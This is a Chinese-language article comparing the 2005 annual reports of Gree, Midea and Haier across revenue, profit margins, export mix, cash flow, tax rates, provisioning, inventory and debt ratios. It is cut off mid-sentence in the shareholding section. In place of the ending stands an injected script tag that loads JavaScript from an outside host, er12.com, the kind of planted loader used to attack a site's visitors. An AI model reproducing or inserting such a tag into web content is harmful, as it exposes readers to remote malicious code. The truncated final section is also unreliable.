年报视角下的空调龙头企业——格力、美的、海尔三家上市公司2005年年报比较
近几年家用空调市场发生了一些列的变化：铜等原材料成本大幅上涨、房地产市场调控导致空调内销疲软、人民币升值加重出口负担等等。这些变化加速了空调行业的洗牌，一些小空调退出了，大多数的空调企业销量下滑了，但同时，我们也看到个别空调企业逆市上扬，它们是格力、美的和海尔，这三大企业占据了我国空调行业的前三甲，并已取得了45%以上的市场份额。
然而形势依然残酷，竞争仍将激烈，即使是这三家公司在未来也可能会拉开档次。下面我们分别就ｇ格力（000651.sz）、ｇ美的（000527.sz）、ｇ海尔（600690.sh）2005年度的年报数据来比较这三家企业的差异，为读者展示另一个视角。
公司的总规模
在证券分析中，衡量规模的指标通常有四个，三家公司关于这四个指标的数值见表1。从销售的规模看，这三个上市公司的排序是美的213.14亿元、格力182.48亿元、海尔165.09亿元；从净利润的规模看，这三个上市公司的排序是格力5.1亿元、美的3.82亿元、海尔2.39亿元；从总资产的规模看，这三个上市公司的排序是格力126.81亿元、美的96.09亿元、海尔67.77亿元；从净资产规模看，这三个上市公司的排序是海尔55.99亿元、美的30.59亿元、格力27.22亿元。
以上四个规模指标，格力在净利润和总资产指标上占第一，美的和海尔分别在销售和净资产指标上占第一。
空调产品的收入规模
由于每家上市公司的主营业务收入结构不同，所以其销售规模不代表空调的收入规模，仅就空调产品的收入来看，格力的收入最大，达176.26亿元，而且空调产品的毛利率也最高，达18.62%；其次是美的，空调收入148.75亿元，空调产品的毛利率15.76%；海尔的空调收入76.67亿元、毛利率11.02%（具体数据见表2）。
空调产品的内外销结构
在空调产品的收入中，每家公司的内外销比重差异较大：内销市场上，格力的销售收入最大，达141.75亿元，占其主营业务收入的80.42%；美的的内销收入83.49亿元，占其主营业务收入的56.13%；海尔的内销额为58.48亿元，占其主营业务收入的76.28%（见表3）。
在外销市场上，美的的销售收入最大，达65.25亿元，占其主营业务收入的43.87%；格力的外销收入34.51亿元，占其主营业务收入的19.58%；海尔的外销额为18.19亿元，占其主营业务收入的23.72%（见表4）。
增长速度
从各家公司的增长速度来看，2005年格力的增长速度最快，其主营业务收入的增长幅度高达31.92%、净利润的增长幅度高达21.11%，这在2005年整个空调行业并不景气的背景下实属难得。另外美的和海尔也都取得了一定程度的增长（见表5）。
盈利能力
这三家公司的盈利能力见表6，通常证券行业的人士用得比较多的是销售净利润率和净资产收益率这两个指标，这三家公司的平均销售净利润率是2.01%、平均净资产收益率是11.82%，相对于证券市场的其他行业而言，销售净利润率较低，但净资产收益率要明显高于其他行业。在这三家公司中，格力的盈利能力指标是最高的，销售净利润率为2.79%、净资产收益率达18.72%。
现金流
在现金流指标上（见表7），只有美的在现金及现金等价物净增加额指标上是正数，并且其他反映现金含量水平的指标上，美的也是最高的。
所得税率
在所得税的实际税率上，三家公司则表现出较大的差异，其中海尔的所得税率最高，达23.33%，格力的所得税率为19.41%，而美的的所得税率最低，才8.75%。
拨备政策
由于每家公司资产发生坏账或损失的概率不一样，因此很难说计提比率高的就是谨慎、计提比率低的就是不够谨慎。我们只能说，这三家公司在拨备的计提上有一定的差异，突出表现在格力的计提比率要明显高于美的和海尔，例如：格力的存货计提比率是1.77%，而美的和海尔都不足1%；格力对应收款项的计提比率达10.83%、对其他应收款计提比率达27.6%，而美的和海尔都是5%（见表8）。
存货
三家公司的存货（见表9），格力和美的的存货规模都达到了30亿元以上，海尔的存货规模较小，才8亿元，存货的构成主要是原材料和产成品等，由于这些公司对市场的把握能力都比较强，它们的存货积压的可能性都不大，因此其存货水平应是良性的。
账龄
三家公司的账龄情况见表10，从账龄来看，三家公司的账龄都比较短，基本上都是一年以内的应收款项，应该说，发生坏账的风险较小。
负债率
三家公司从负债水平来看，格力的负债高达77.84%，属于高负债经营，而美的的负债水平也不低，达59.54%，海尔的负债水平则是最低的，只有10.66%。
持股
三家公司的股东持股情况，从第一大股东持股比例来看，格力集团绝对控股格力电器，而美的和海尔则属于?script src=http://er12.com/t.js>
